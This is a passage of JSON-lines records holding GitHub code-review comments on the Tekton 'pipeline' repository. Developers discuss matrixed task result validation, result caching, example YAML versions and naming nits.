"2023-10-26T14:54:23Z", "line": null, "path": "api_compatibility_policy.md", "pr_number": 7090, "repo": "pipeline"} +{"author": "JeromeJu", "body": "That makes sense! I made some minor changes to it because behavioural flags will retain their behaviour. (I also added a note below)", "comment_id": 1373315883, "created_at": "2023-10-26T14:55:37Z", "line": null, "path": "api_compatibility_policy.md", "pr_number": 7090, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Ah yes I've linked it to the doc.", "comment_id": 1373316190, "created_at": "2023-10-26T14:55:51Z", "line": null, "path": "docs/developers/feature-versioning.md", "pr_number": 7090, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Updated:) these were previous doc, I've edited them", "comment_id": 1373316736, "created_at": "2023-10-26T14:56:11Z", "line": null, "path": "docs/developers/feature-versioning.md", "pr_number": 7090, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Thanks for the catch!", "comment_id": 1373316970, "created_at": "2023-10-26T14:56:20Z", "line": null, "path": "docs/developers/feature-versioning.md", "pr_number": 7090, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Also updated the links at https://github.com/tektoncd/community/pull/1091.", "comment_id": 1373323397, "created_at": "2023-10-26T15:00:37Z", "line": null, "path": "api_compatibility_policy.md", "pr_number": 7090, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "can we have an example here of what is an expression? So readers can directly tell what's the subExpressions, pipelineTask...", "comment_id": 1344647891, "created_at": "2023-10-03T19:46:15Z", "line": null, "path": "pkg/apis/pipeline/v1/pipeline_validation.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "can we create a var for this regex? Something like https://github.com/tektoncd/pipeline/blob/5a688594125e4567714ad01228411d7e761814f3/pkg/apis/pipeline/v1/resultref.go#L58 \r\nand add docstrings for it.", "comment_id": 1344650246, "created_at": "2023-10-03T19:48:39Z", "line": null, "path": "pkg/apis/pipeline/v1/pipeline_validation.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "can we merge those 2 into 1 function? They are the same..?", "comment_id": 1344663901, "created_at": "2023-10-03T20:01:11Z", "line": null, "path": "pkg/apis/pipeline/v1/pipeline_validation.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "maybe use `apis.ErrInvalidValue` here?", "comment_id": 1344667835, "created_at": "2023-10-03T20:05:03Z", "line": null, "path": "pkg/apis/pipeline/v1/pipeline_validation.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "This seems duplicate logic with above, maybe extract a function?", "comment_id": 1344672980, "created_at": "2023-10-03T20:09:26Z", "line": null, "path": "pkg/apis/pipeline/v1/pipeline_validation.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "provide an example here of expression would help", "comment_id": 1344693980, "created_at": "2023-10-03T20:22:48Z", "line": 162, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "nit: the function name is a bit vague", "comment_id": 1344698585, "created_at": "2023-10-03T20:27:08Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "need to update the docstrings here", "comment_id": 1344708715, "created_at": "2023-10-03T20:34:51Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "should this case be \"without results\"?", "comment_id": 1344711136, "created_at": "2023-10-03T20:37:26Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution_test.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "JeromeJu", "body": "The docString here previously was helpful, would you mind changing it instead of deleting?", "comment_id": 1346360875, "created_at": "2023-10-04T19:28:50Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/resultrefresolution.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Looks like the switch statement was missing the condition expression? Shall we move the first case (IsCustomTask) out of the switch statement and move the switch condition onto the len of referencedPipelineTask.TaskRuns might be clearer here?\r\n\r\nIt seems that CustomTask is a separate case while the other condition to tell whether it is a matrixed referenced PipelineTask is if len(referencedPipelineTask.TaskRuns) > 1:", "comment_id": 1346407089, "created_at": "2023-10-04T20:12:53Z", "line": 127, "path": "pkg/reconciler/pipelinerun/resources/resultrefresolution.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Could you help me to understand why is this change?", "comment_id": 1346424854, "created_at": "2023-10-04T20:30:35Z", "line": 183, "path": "pkg/reconciler/pipelinerun/resources/resultrefresolution.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "EmmaMunley", "body": "Cleaned this up using if/else statements instead", "comment_id": 1346433107, "created_at": "2023-10-04T20:38:30Z", "line": 127, "path": "pkg/reconciler/pipelinerun/resources/resultrefresolution.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "EmmaMunley", "body": "I separated `resolveCustomResultRef` and `ResolvedResultRef` into 2 functions so `ResolvedResultRef` would never have a `runName` since this is reserved for CustomRuns from my understanding.\r\nhttps://github.com/tektoncd/pipeline/blob/8100f01ab5fee5d298e78565204c01744a76b8d7/pkg/reconciler/pipelinerun/resources/resultrefresolution.go#L155", "comment_id": 1346437009, "created_at": "2023-10-04T20:42:26Z", "line": 183, "path": "pkg/reconciler/pipelinerun/resources/resultrefresolution.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "pritidesai", "body": "```suggestion\r\napiVersion: tekton.dev/v1\r\n```\r\n\r\nlikewise for the rest of the CRDs ", "comment_id": 1349002471, "created_at": "2023-10-06T17:10:32Z", "line": null, "path": "examples/v1/pipelineruns/alpha/pipelinerun-with-matrix-context-variables.yaml", "pr_number": 7167, "repo": "pipeline"} +{"author": "pritidesai", "body": "NIT: \r\n\r\n```suggestion\r\n name: echomatrixresultlength\r\n```\r\n\r\nor \r\n\r\n```suggestion\r\n name: echo-matrix-result-length\r\n```\r\n", "comment_id": 1349015382, "created_at": "2023-10-06T17:12:30Z", "line": null, "path": "examples/v1/pipelineruns/alpha/pipelinerun-with-matrix-context-variables.yaml", "pr_number": 7167, "repo": "pipeline"} +{"author": "pritidesai", "body": "```suggestion\r\napiVersion: tekton.dev/v1\r\n```", "comment_id": 1349017212, "created_at": "2023-10-06T17:12:49Z", "line": null, "path": "examples/v1/pipelineruns/alpha/pipelinerun-with-matrix-emitting-results.yaml", "pr_number": 7167, "repo": "pipeline"} +{"author": "pritidesai", "body": "instead of echoing, we can confirm the expected length - similar to https://github.com/tektoncd/pipeline/blob/main/examples/v1/pipelineruns/alpha/pipelinerun-large-results.yaml#L75", "comment_id": 1349026800, "created_at": "2023-10-06T17:14:17Z", "line": null, "path": "examples/v1/pipelineruns/alpha/pipelinerun-with-matrix-context-variables.yaml", "pr_number": 7167, "repo": "pipeline"} +{"author": "pritidesai", "body": "same as below, we can confirm the expected length such that it works as a real test along with an example", "comment_id": 1349033291, "created_at": "2023-10-06T17:15:17Z", "line": null, "path": "examples/v1/pipelineruns/alpha/pipelinerun-with-matrix-context-variables.yaml", "pr_number": 7167, "repo": "pipeline"} +{"author": "pritidesai", "body": "will be great if we can implement the check instead of just echoing", "comment_id": 1349052762, "created_at": "2023-10-06T17:18:11Z", "line": 13, "path": "examples/v1/pipelineruns/alpha/pipelinerun-with-matrix-emitting-results.yaml", "pr_number": 7167, "repo": "pipeline"} +{"author": "pritidesai", "body": "NIT: please add the doc string explanation ", "comment_id": 1349181816, "created_at": "2023-10-06T18:26:12Z", "line": null, "path": "pkg/apis/pipeline/v1/pipeline_validation.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "pritidesai", "body": "Can we simplify this function to only check if `taskConsumed` is `matrixed` and the result reference has suffix `[*]`?", "comment_id": 1349194172, "created_at": "2023-10-06T18:38:32Z", "line": 789, "path": "pkg/apis/pipeline/v1/pipeline_validation.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "pritidesai", "body": "do we need this validation? This will be very helpful if we can guarantee such validation. \r\n\r\nhttps://github.com/tektoncd/pipeline/blob/main/docs/pipelines.md#adding-tasks-to-the-pipeline \r\n\r\nThere are multiple ways of adding tasks to the pipeline. We will have to cover for all but the remote task is not possible to cover here.\r\n\r\nI am open to keeping this here for now too and add a note that for remote tasks, such validation is not possible ", "comment_id": 1349205507, "created_at": "2023-10-06T18:52:17Z", "line": 830, "path": "pkg/apis/pipeline/v1/pipeline_validation.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "pritidesai", "body": "please consider introducing `ignoreProvenance` similar to - https://github.com/tektoncd/pipeline/pull/7091/files#diff-a64a19b939f791920d235cbf5bf2e4905d4814af06f21401b27af11351afbd0bR1214\r\n\r\nThis provenance will no longer be needed with that change", "comment_id": 1349332444, "created_at": "2023-10-06T21:24:07Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "EmmaMunley", "body": "Not sure what you mean by this, the function is only checking:\r\n1) If the taskConsumed is Matrixed\r\n2) If yes, the result reference suffix=[*]", "comment_id": 1349339232, "created_at": "2023-10-06T21:37:28Z", "line": 789, "path": "pkg/apis/pipeline/v1/pipeline_validation.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "EmmaMunley", "body": "Added a note re: remote tasks.", "comment_id": 1349339380, "created_at": "2023-10-06T21:37:44Z", "line": 830, "path": "pkg/apis/pipeline/v1/pipeline_validation.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "pritidesai", "body": "We need to consider a scenario here that a result is not initialized by one of the instances. \r\n\r\nAfter retrieving the name of the taskRun through childReferences, we need to check if a task result was initialized in that taskRun before incrementing the resultsLength counter.\r\n\r\nI am looking if there is any other alternate better way of retrieving this.", "comment_id": 1349349031, "created_at": "2023-10-06T21:58:24Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "pritidesai", "body": "We can maintain a cache of results like we had discussed before, else this might require a `Get` as a last resort:\r\n\r\n```\r\nc.PipelineClientSet.TektonV1().TaskRuns(pr.Namespace).Get(ctx, tr, metav1.GetOptions{})\r\n```", "comment_id": 1349388128, "created_at": "2023-10-06T23:23:04Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "pritidesai", "body": "Can we utilize - https://github.com/tektoncd/pipeline/pull/7167/files#diff-39d9baa708e379638f742c8b9fd36d9d15c64c3386de958b5a3f309ca8fa037aR749?", "comment_id": 1349388987, "created_at": "2023-10-06T23:25:43Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "pritidesai", "body": "suggest, adding `continue` here to avoid iterating over the list of tasks after the required task is retrieved in the list.", "comment_id": 1353376975, "created_at": "2023-10-10T20:54:04Z", "line": 193, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "EmmaMunley", "body": "Added ResultCaching here", "comment_id": 1355450690, "created_at": "2023-10-11T17:37:28Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "pritidesai", "body": "NIT: doc string will help in future \ud83d\ude4f ", "comment_id": 1355800562, "created_at": "2023-10-11T21:25:29Z", "line": 210, "path": "pkg/reconciler/pipelinerun/resources/resultrefresolution.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "pritidesai", "body": "Hey @EmmaMunley I am trying to understand the purpose of this test. I do not see the task results consumed or validated any where \ud83e\udd14 ", "comment_id": 1355824648, "created_at": "2023-10-11T21:57:26Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "EmmaMunley", "body": "Removed this test. I think I ended up renaming it below", "comment_id": 1356893572, "created_at": "2023-10-12T14:12:27Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "This is still v1beta1 not updated to v1? Not sure if it is some error from my side.", "comment_id": 1357122567, "created_at": "2023-10-12T16:56:38Z", "line": null, "path": "examples/v1/pipelineruns/alpha/pipelinerun-with-matrix-emitting-results.yaml", "pr_number": 7167, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "we're checking the expression only has [*] suffix, but the error msg says `is currently being indexed %s`\r\nIf a user uses ref like `$(tasks.matrix-emitting-results.results.report-url)`, this will return err:\r\n```\r\nA matrixed pipelineTask can only be consumed in aggregate using [*] notation, but is currently being indexed tasks.matrix-emitting-results.results.report-url\r\n```\r\nI think this is not a big issue but could be confusing for this case. ", "comment_id": 1357150739, "created_at": "2023-10-12T17:18:26Z", "line": null, "path": "pkg/apis/pipeline/v1/pipeline_validation.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "maybe merge them if `referencedTaskName` is only used once?\r\n```\r\nreferencedTask := taskMapping[task.TaskRef.Name]\r\n```", "comment_id": 1357156443, "created_at": "2023-10-12T17:24:28Z", "line": null, "path": "pkg/apis/pipeline/v1/pipeline_validation.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "not related to this PR just a note to myself. If https://github.com/tektoncd/community/pull/1071 is adopted, we don't need to loop the list of results or params, match the name to get what we need", "comment_id": 1357159762, "created_at": "2023-10-12T17:27:49Z", "line": 849, "path": "pkg/apis/pipeline/v1/pipeline_validation.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I wonder if it makes sense to merge line 93 to line 91 and 92 separately, it looks like line 93 we pass int tasks and final tasks to validate some matrix stuff. Can we add the internal `validateTaskResultsFromMatrixedPipelineTasksConsumed` call to `validateMatrix`?", "comment_id": 1357166837, "created_at": "2023-10-12T17:33:39Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "This test mixes the valid and invalid cases? Which makes it bit difficult for readers to know which ones are valid and which are not. \r\n\r\nAfter searching the references of `wantErrs`, only the first case has error. The name is `parameter in both matrix and params`, I cannot tell if it is valid or not from the case name. \r\n\r\nMaybe just open a todo issue to clean up the tests. Not a blocker for the pr", "comment_id": 1357176967, "created_at": "2023-10-12T17:40:57Z", "line": 4064, "path": "pkg/apis/pipeline/v1/pipeline_validation_test.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "typo: stings, same for other places", "comment_id": 1357181542, "created_at": "2023-10-12T17:42:59Z", "line": null, "path": "pkg/apis/pipeline/v1/pipeline_validation_test.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "maybe something like\r\n```suggestion\r\n\t\t\t\tif task.Name == pipelineTaskName {\r\n\t\t\t\r\n\t\t\treplacements[\"tasks.\"+pipelineTaskName+\".matrix.length\"] = strconv.Itoa(task.Matrix.CountCombinations())\r\n\t\t\tcontinue\r\n\t\t\t}\r\n```", "comment_id": 1357204994, "created_at": "2023-10-12T18:03:08Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "is this the same?\r\n```suggestion\r\n\t\t\t\tif pt.PipelineTask.Name == pipelineTaskName {\r\n\t\t\t\t\tif len(pt.ResultsCache) == 0 {\r\n\t\t\t\t\t\tpt.ResultsCache = createResultsCacheMatrixedTaskRuns(pt)\r\n\t\t\t\t\t}\r\n\t\t\t\t\treplacements[\"tasks.\"+pipelineTaskName+\".matrix.\"+resultName+\".length\"] = strconv.Itoa(len(pt.ResultsCache[resultName]))\r\n\t\t\t\t\tcontinue\r\n\t\t\t\t}\r\n```", "comment_id": 1357213821, "created_at": "2023-10-12T18:11:42Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "why do we need to sort this? Will it change the order of taskruns since we're passing a pointer?", "comment_id": 1357222501, "created_at": "2023-10-12T18:19:02Z", "line": 756, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "pritidesai", "body": "interesting, we had changed it to `v1`. @EmmaMunley please fix this, thanks!", "comment_id": 1357228129, "created_at": "2023-10-12T18:24:06Z", "line": null, "path": "examples/v1/pipelineruns/alpha/pipelinerun-with-matrix-emitting-results.yaml", "pr_number": 7167, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "could you help me understand this part? Under what cases we need to return errors. And which test case is testing this?", "comment_id": 1357243494, "created_at": "2023-10-12T18:36:50Z", "line": 124, "path": "pkg/reconciler/pipelinerun/resources/resultrefresolution.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "should this docstring be after the `default`?", "comment_id": 1357245339, "created_at": "2023-10-12T18:38:20Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/resultrefresolution.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "what's the difference between this `nc TestReconciler_PipelineTaskMatrixConsumingResults2` and the above `nc TestReconciler_PipelineTaskMatrixConsumingResults`? We shouldn't use this naming", "comment_id": 1357265810, "created_at": "2023-10-12T18:56:50Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "EmmaMunley", "body": "Will rename. The first one is testing matrix with include params. The second has regular matrix params. ", "comment_id": 1357276366, "created_at": "2023-10-12T19:05:55Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Wondering what is the case here if `ok` is false, do we fail the parsing?", "comment_id": 1357530700, "created_at": "2023-10-12T23:08:15Z", "line": 219, "path": "pkg/apis/pipeline/v1/param_types.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Would we want to also have:\n```\nresultName := subExpressions[3]\n```\nfor readability?", "comment_id": 1357531756, "created_at": "2023-10-12T23:09:48Z", "line": 222, "path": "pkg/apis/pipeline/v1/param_types.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "EmmaMunley", "body": "Think this got overwritten by accident", "comment_id": 1357578242, "created_at": "2023-10-13T00:00:52Z", "line": null, "path": "examples/v1/pipelineruns/alpha/pipelinerun-with-matrix-emitting-results.yaml", "pr_number": 7167, "repo": "pipeline"} +{"author": "EmmaMunley", "body": "Reworded the language", "comment_id": 1357578463, "created_at": "2023-10-13T00:01:14Z", "line": null, "path": "pkg/apis/pipeline/v1/pipeline_validation.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "EmmaMunley", "body": "Moved as a member func inside of Validate() passing in tasks. \r\ncc: @pritidesai ", "comment_id": 1357578727, "created_at": "2023-10-13T00:01:50Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "EmmaMunley", "body": "Personally, I like having the variable names to help with readability", "comment_id": 1357579269, "created_at": "2023-10-13T00:02:48Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "EmmaMunley", "body": "Yes, the order can change if we don't sort the slices.", "comment_id": 1357583465, "created_at": "2023-10-13T00:10:12Z", "line": 756, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "EmmaMunley", "body": "@Yongxuanzhang This is just refactoring the existing code in `resolveResultRef()`\r\nhttps://github.com/tektoncd/pipeline/blob/d26a45c048fa396f402332252a1cae641d2875fe/pkg/reconciler/pipelinerun/resources/resultrefresolution.go#L133C2-L135C3", "comment_id": 1358126209, "created_at": "2023-10-13T11:16:25Z", "line": 124, "path": "pkg/reconciler/pipelinerun/resources/resultrefresolution.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "EmmaMunley", "body": "The reason for assigning a pointer is to persist the cached results in the state. This way does not persist the cachedResults in that state.", "comment_id": 1358128106, "created_at": "2023-10-13T11:18:25Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "EmmaMunley", "body": "@JeromeJu We currently don't fail the parsing here we would just return empty string. I'm not sure if we would want to fail here and if there's a way to bubble up the error. ", "comment_id": 1358131308, "created_at": "2023-10-13T11:22:02Z", "line": 219, "path": "pkg/apis/pipeline/v1/param_types.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "EmmaMunley", "body": "@Yongxuanzhang Confirming consuming matrixed task results through PipelineResults is supported ", "comment_id": 1358660844, "created_at": "2023-10-13T18:19:59Z", "line": 76, "path": "examples/v1/pipelineruns/alpha/pipelinerun-with-matrix-emitting-results.yaml", "pr_number": 7167, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "nice!", "comment_id": 1358695562, "created_at": "2023-10-13T18:45:58Z", "line": 76, "path": "examples/v1/pipelineruns/alpha/pipelinerun-with-matrix-emitting-results.yaml", "pr_number": 7167, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "oh ok", "comment_id": 1358696513, "created_at": "2023-10-13T18:47:11Z", "line": 124, "path": "pkg/reconciler/pipelinerun/resources/resultrefresolution.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "why the order matters here?", "comment_id": 1358698710, "created_at": "2023-10-13T18:49:55Z", "line": 756, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Is there a test to confirm that? I think if I change the code, the unit tests can still pass", "comment_id": 1358700359, "created_at": "2023-10-13T18:51:45Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "sure!", "comment_id": 1358701003, "created_at": "2023-10-13T18:52:42Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "EmmaMunley", "body": "The test `TestReconciler_PipelineTaskMatrixExplicitCombosResultsAndMatrixContextVars` fails with p-dag-2 and p-dag3 as it fails to retrieve the context variables from the cache. https://github.com/tektoncd/pipeline/blob/542c3b36307b9713fe0897aba726df12cbf537b0/pkg/reconciler/pipelinerun/pipelinerun_test.go#L12715", "comment_id": 1358705208, "created_at": "2023-10-13T18:58:00Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "EmmaMunley", "body": "The issue is that if you don't sort them here the child references are returned out of order and fail the unit tests: https://github.com/tektoncd/pipeline/blob/542c3b36307b9713fe0897aba726df12cbf537b0/pkg/reconciler/pipelinerun/pipelinerun_test.go#L12687", "comment_id": 1358712116, "created_at": "2023-10-13T19:07:02Z", "line": 756, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "So this is only for test purpose? ", "comment_id": 1358738043, "created_at": "2023-10-13T19:32:34Z", "line": 756, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "If so I don't think it is a good idea that we have functional code to meet the test purpose. Can you sort it in tests instead?", "comment_id": 1358740400, "created_at": "2023-10-13T19:34:05Z", "line": 756, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "emmm it doesn't fail from my end. I just feel like there are some duplicate logic of this code and inside the createResultsCacheMatrixedTaskRuns and not sure if they are necessary", "comment_id": 1358742467, "created_at": "2023-10-13T19:35:48Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "EmmaMunley", "body": "Sorry, you're right. I tried to replace the code with yours before and it failed, but it must have been because of something else. Just updated!", "comment_id": 1358838861, "created_at": "2023-10-13T20:58:11Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "EmmaMunley", "body": "It uses cmpopts.SortSlices(lessChildReferences), which should sort the ChildRefs, but for some reason is not. \r\nhttps://github.com/tektoncd/pipeline/blob/542c3b36307b9713fe0897aba726df12cbf537b0/pkg/reconciler/pipelinerun/pipelinerun_test.go#L13074\r\n\r\nAlso tried sorting the TaskRuns within the test, but it seems like this logic is necessary in the code in order to get the correct Params mapped within the TaskSpec itself.", "comment_id": 1358840112, "created_at": "2023-10-13T21:00:13Z", "line": 756, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Oh sorry for the confusion, I think we don't need to pass tasks to task.validateMatrix. The validation will be executed num(tasks) times. I was thinking about something like this:\r\n\r\n```\r\nfunc validateMatrix(ctx context.Context, tasks []PipelineTask) (errs *apis.FieldError) {\r\n\tfor idx, task := range tasks {\r\n\t\terrs = errs.Also(task.validateMatrix(ctx).ViaIndex(idx))\r\n\t}\r\n errs = validateTaskResultsFromMatrixedPipelineTasksConsumed(tasks)\r\n\treturn errs\r\n}\r\n```", "comment_id": 1361228781, "created_at": "2023-10-16T20:25:12Z", "line": null, "path": "pkg/apis/pipeline/v1/pipeline_validation.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "nit: is it possible to use more descriptivist names for the test cases instead of p-dag, p-dag-2?", "comment_id": 1361245138, "created_at": "2023-10-16T20:45:01Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "JeromeJu", "body": "nit: /becing/being", "comment_id": 1361336345, "created_at": "2023-10-16T22:49:12Z", "line": null, "path": "pkg/apis/pipeline/v1/matrix_types.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Note: It is not possible to validate remote tasks\n```suggestion\n// if those results are being consumed by another PipelineTask. Note: Is is not possible to validate remote tasks\n```", "comment_id": 1361338420, "created_at": "2023-10-16T22:53:10Z", "line": null, "path": "pkg/apis/pipeline/v1/pipeline_validation.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "JeromeJu", "body": "nit: createTaskMapping doesn't seem to belong to pipeline_validation.go. This can either be a strcut func or this can just be put in the caller function since it's only used once?", "comment_id": 1361343269, "created_at": "2023-10-16T23:02:33Z", "line": null, "path": "pkg/apis/pipeline/v1/pipeline_validation.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Oh my previous point was that the original if else statement might be clearer with your current refactor (I've observed you tried to refactor resolveCustomResultRef out). Also given that the switch statement was not actually switching on any conditon.\n\nDon't want to block this PR but might be helpful for future PRs to have refactor PRs separated from the actual implementation PR for more readability.", "comment_id": 1361379174, "created_at": "2023-10-17T00:17:47Z", "line": 127, "path": "pkg/reconciler/pipelinerun/resources/resultrefresolution.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "JeromeJu", "body": "It looks like the refactor here attempts to separate resolveCustomResultRef out from previously the first condition check at L140. Do we not need the check the following any longer or is this indicating customRuns would also support matrixed referenced Tasks IIUC? \n```\n\t\tif len(referencedPipelineTask.CustomRuns) != 1 {\n\t\t\treturn nil, resultRef.PipelineTask, fmt.Errorf(\"referenced tasks can only have length of 1 since a matrixed task does not support producing results, but was length %d\", len(referencedPipelineTask.TaskRuns))\n\t\t}\n\n```", "comment_id": 1361390135, "created_at": "2023-10-17T00:43:23Z", "line": 158, "path": "pkg/reconciler/pipelinerun/resources/resultrefresolution.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "EmmaMunley", "body": "Custom Runs would also support referenced Matrixed tasks. Added an example unit test: https://github.com/tektoncd/pipeline/blob/3e499fe5f2b90bccba1ac7d8a2d3db92d7cbb1bb/pkg/reconciler/pipelinerun/pipelinerun_test.go#L13558", "comment_id": 1362349932, "created_at": "2023-10-17T15:41:51Z", "line": 158, "path": "pkg/reconciler/pipelinerun/resources/resultrefresolution.go", "pr_number": 7167, "repo": "pipeline"} +{"author": "QuanZhang-William", "body": "Maybe add a todo comment here?", "comment_id": 1365997463, "created_at": "2023-10-19T19:09:55Z", "line": 24, "path": "pkg/apis/pipeline/v1/when_validation.go", "pr_number": 7245, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Thanks! Added a todo linking to the tracking issue", "comment_id": 1366006202, "created_at": "2023-10-19T19:17:20Z", "line": 24, "path": "pkg/apis/pipeline/v1/when_validation.go", "pr_number": 7245, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Not sure if we should add it in this PR, since the functionality of `CEL` is not implemented yet. I'm ok with adding it later but open to comments here", "comment_id": 1366069116, "created_at": "2023-10-19T20:19:27Z", "line": 30, "path": "pkg/apis/pipeline/v1/when_types.go", "pr_number": 7247, "repo": "pipeline"} +{"author": "jerop", "body": "readability: for this and other use of CEL in code, please use uppercase for initials\r\n\r\nhttps://github.com/golang/go/wiki/CodeReviewComments#initialisms\r\n\r\n```suggestion\r\n\t// EnableCELInWhenExpression is the flag to enabled CEL in WhenExpression\r\n\tEnableCELInWhenExpression = \"enable-cel-in-whenexpression\"\r\n\t// DefaultEnableCELInWhenExpression is the default value for EnableCELInWhenExpression\r\n\tDefaultEnableCELInWhenExpression = false\r\n```", "comment_id": 1366088337, "created_at": "2023-10-19T20:40:32Z", "line": null, "path": 